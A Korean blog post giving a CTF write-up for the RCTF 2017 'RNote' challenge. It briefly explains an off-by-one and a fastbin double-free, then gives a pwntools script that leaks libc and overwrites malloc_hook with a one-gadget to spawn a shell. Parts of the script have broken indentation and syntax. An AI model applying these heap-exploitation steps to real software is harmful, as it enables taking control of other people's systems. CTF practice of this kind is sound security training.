ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • RCTF 2017 RNOTE
    Pwnable/CTF 2017. 11. 8. 10:43

    여기서 중요한 점은 add를 할때 전역 변수에 입력을 해주는데 이때 16byte 뒤에 포인터가 있는데 16byte가 아닌 off by one으로 인하여 1byte를 변조 할 수 있다.

    free되었는지 확인도 안 하기 때문에 fastbin dup 취약점이 있다.
    끝 ㅎ

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
     
    from pwn import *
     
    p=process("./RNote")
    elf=ELF("./RNote")
     
    def add(size,title,content):
        p.recvuntil(': ')
        p.sendline("1")
        p.recvuntil(': ')
        p.sendline(str(size))
        p.recv(1024)
        p.sendline(title)
        p.recv(1024)
        p.send(content)
     
    def add_full(size,title):
        p.recvuntil(': ')
            p.sendline("1")
            p.recvuntil(': ')
            p.sendline(str(size))
            p.recv(1024)
            p.sendline(title)
    def fulladd(size,title):
        p.recvuntil(': ')
            p.sendline("1")
            p.recvuntil(': ')
            p.sendline(str(size))
            p.recv(1024)
            p.sendline(title)
     
     
    def delete(idx):
        p.recvuntil(': ')
        p.sendline("2")
        p.recvuntil(': ')
        p.sendline(str(idx))
     
    def show(idx):
        p.recvuntil(': ')
        p.sendline("3")
        p.recvuntil(': ')
        p.sendline(str(idx))
     
    add(256,"AAAA","BBBB")
    add(256,"CCCC","DDDD")
     
    delete(0)
     
    add(256,"CCCC","D"*7)
    show(0)
    print p.recvuntil('content: ')
    p.recvuntil('D'*7+"\x00")
    main_arena = u64(p.recv(6)+"\x00\x00"- 88
    malloc_hook = main_arena - 0x10
    libc_base = malloc_hook - 0x3c4b10
    one_shot = libc_base + 0xf1117
     
    print hex(main_arena)
    print hex(malloc_hook)
     
    delete(0)
    delete(1)
     
    add(90,"ZZZZZZZ","eeee")
    add(90,"zzzzzzz","eeee")
    add_full(90,"e"*16+"\x10"+"eeee")
     
    delete(0)
    delete(1)
    delete(2)
     
    add(90,"AAAA",p64(malloc_hook-0x23))
    add(90,"AAAA","BBBB")
    add(90,"CCCC","DDDD")
     
     
    add(90,"PPP","B"*19+p64(one_shot))
     
    p.interactive()
     
    cs


    RCTF 문제는 정말 재미있는 것 같다. 

    'Pwnable > CTF' 카테고리의 다른 글

    TUCTF 2017 Write up  (0) 2017.11.27
    CAT_SECURITY WhiteHackerLeague  (2) 2017.11.19
    RCTF 2017 AirCraft  (0) 2017.11.08
    RCTF 2015 SHAXPIAN  (0) 2017.11.04
    RCTF 2015 welpwn  (0) 2017.11.04
Designed by Tistory.